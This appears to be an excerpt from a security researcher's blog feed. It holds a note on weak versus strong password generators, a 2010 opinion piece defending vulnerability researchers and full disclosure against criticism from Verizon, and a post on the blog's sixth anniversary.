There are two versions, the first generates a strong random password, and the second uses one of a list of weak base words, with random numbers put on the end. The second was created after push back from the service desk agents saying that user's were complaining about the random passwords. I don't like the second version, because it is still fairly predictable, and someone internally could pull out the passwords and create a simple password list to feed to any number of tools. If you are going to use the second version, please use your own list of words, ideally several thousand to increase the entropy. The current list was created by taking the top 500 6-digit words from the Unix English (en) dictionary, and removing complex ones.

These tools where originally written when I was an employee of Deloitte South Africa, and while necessarily under the GPL due to included code, are still published here with permission of them. They have however, been updated since then on SensePost's coin.

In Defence of Vulnerability Researchers

nospam@example.com (Dominic White) — Sat, 24 Apr 2010 12:53:02 +0200

Verizon's Wade Baker (with assistance from Dave Kennedy, who I will refer interchangeably to as with Wade, Dave or Verizon) published a post claiming that vulnerability/security researchers are given too much leeway, and are closer to criminals than good guys. He suggests they should rather be called "narcissistic vulnerability pimps" (NVPs) in future. Dan Goodin got some clarification when writing his piece for The Register which expands on some of Verizon's motivations and justifications.

While I think I identify with part of his frustrations, he's wrong. Mostly due to an overconfidence in how vendors optimise for "shareholder value", but also because while scrabbling to paint vuln researchers as bad guys, he forgot about the actual bad guys.

Wade suggests three categories that could be used to describe security professionals, as they are neither exclusive, accurate or sufficient I'm going to ignore them. Instead, I'm going to try and distill what Wade believes is the problem, and his preferred approach while attempting to avoid the straw man.

Wade seems to believe that people who discover vulnerabilities, then publish them to the general public, whether after informing the vendor or not, are motivated predominantly by glory and not good intentions. The few motivated by good intentions, it seems, would also be labeled problematic by Wade (& Dave, as the quote is his) because:

[F]ull disclosure was never a good idea, even in cases, like Ormandy's dust-up with Oracle.

The alternative it seems Verizon would like to see, is that researchers who find vulnerabilities report them to the vendor and walk away. I'm assuming they'd allow for some follow up, but publishing the vulnerability publicly would earn you the NVP label. Once again a quote from Wade/Dave/Verizon/Dan Gooding:

"Apple has a responsibility to their shareholders and to their customers to deal with the vulnerabilities, and their shareholders and their customers can hold Apple's feet to the fire. They have their own ways of exerting pressure on Apple to behave in a way they think Apple should behave."

There's an obvious problem with Wade's approach; it isn't universalisable, and we have hard facts for that. There are many vendors who don't act on reported vulnerabilities as anyone who's ever submitted security flaws to vendors can tell you. David Litchfield has even waited a few years before eventually publishing Oracle vulns. Even if every vendor in existence responded to discovered flaws perfectly, there's no obligation for them to. If we look at the externalities pressuring them to action, sexy new features are going to please both shareholder and customers more. Those same customers and shareholders don't really understand this complex security mumbo jumbo, and so in the rare instances when they can patch a bug without at least one news outlet publishing a "OMFG there's a flaw in product X" the customers and shareholders still aren't going to fully appreciate the security fix. What's more, if a security fix prevents a customer from getting hacked, they will have no idea, and won't credit the vendor. The only time not deploying a fix will be a problem for the company is if a mass or high-profile public hack of their customers occurs. Given that most criminals don't like getting caught and that computer crime is hard to detect, that's a much rarer event than the actual occurrence of hacks. This is exactly why full disclosure came about, *in response* to the way vendors were ignoring bugs, to add another externality to drive them into fixing bugs.

This is where the difference between actual computer criminals and security researchers becomes important. Something Wade get's woefully wrong:

Have you ever heard of a terrorist referred to as a “demolition engineer?” How about a thief as a “locksmith?” No? Well, that’s because most fields don’t share the InfoSec industry’s ridiculous yet long-standing inability to distinguish the good guys from the bad guys.

The security researchers Wade is taking aim at are the one's who publish their work publicly (hence the addition of "narcissistic" I believe). But there are a whole whack of people who don't publish their work publicly, or to the vendor or even via vuln clearing houses like VDI (which eventually gets to the vendor). Wade doesn't pass judgment on them. Even those people aren't criminals. One could argue they aren't optimising for the public good, because an actual criminal could have found the same flaw and be privately exploiting it. They aren't criminals because they haven't committed a crime, or even harmed anyone. Actual criminals are people who either discover or buy flaws and then use them to (or have the intention to) commit a crime. This is the distinguishing difference between a thief and a locksmith, or a terrorist (an already loaded term) and a physical pentester. Their intention, and what they do with the information. One uses it to fix the hole, the other exploits it. This is why full disclosure exists, not the make money, but to encourage people to fix the holes, not exploit them. The fact that it can buy you a limited about of fame is a bonus because it provides an incentive to go public (one that pales in comparison to the hard dollars you can get via other means).

Finally, I do identify with parts of Wade's frustration with regards to people who either disclose without reporting to the vendor first, or hype a vulnerability way beyond it's actual risk. The first leaves the install base vulnerable with the exploit popularised, the second causes people to optimise resources poorly. There's room for updated research on vulnerability life cycles, to ensure the debate revolves around facts and not hypothesis. Either way, one should not be confused about which side those researchers are on. They are the good guys, their work could be used in far more evil ways, they do work the vendor isn't able/capable of. They make us safer, maybe not always in the best way, but in the end they make us safer.

On Year Six

nospam@example.com (Dominic White) — Fri, 05 Feb 2010 05:31:00 +0200

Today my blog turned six, and I tweeted that fact with the following:

My blog http://singe.za.net/ turned 6 today. The fact that I'm tweeting this rather than blogging it is probably significant.

While blogging remains more a more satisfying and useful means of exploring a thought, twitter let's you skip the work and move onto the conversation (sometimes) a bit sooner, but without any decent record of that conversation occurring (twitter's searchable memory is too short). I'm certainly going to continue blogging, but I don't see my throughput increasing much. Luckily, subscribing to an RSS feed is only a cost if there are too many updates ;).

That being said, I think there's been some fun stuff on the blog in the last year, my favourite posts have been:

Using Maltego to Data Mine Twitter
Conficker Claims it's first Human Life
My first guest post - Efficient extraction of data using binary search and ordering information
Deloitte -> SensePost for a personal milestone (there was another personal milestone, my marriage, but that wasn't much of a blog entry).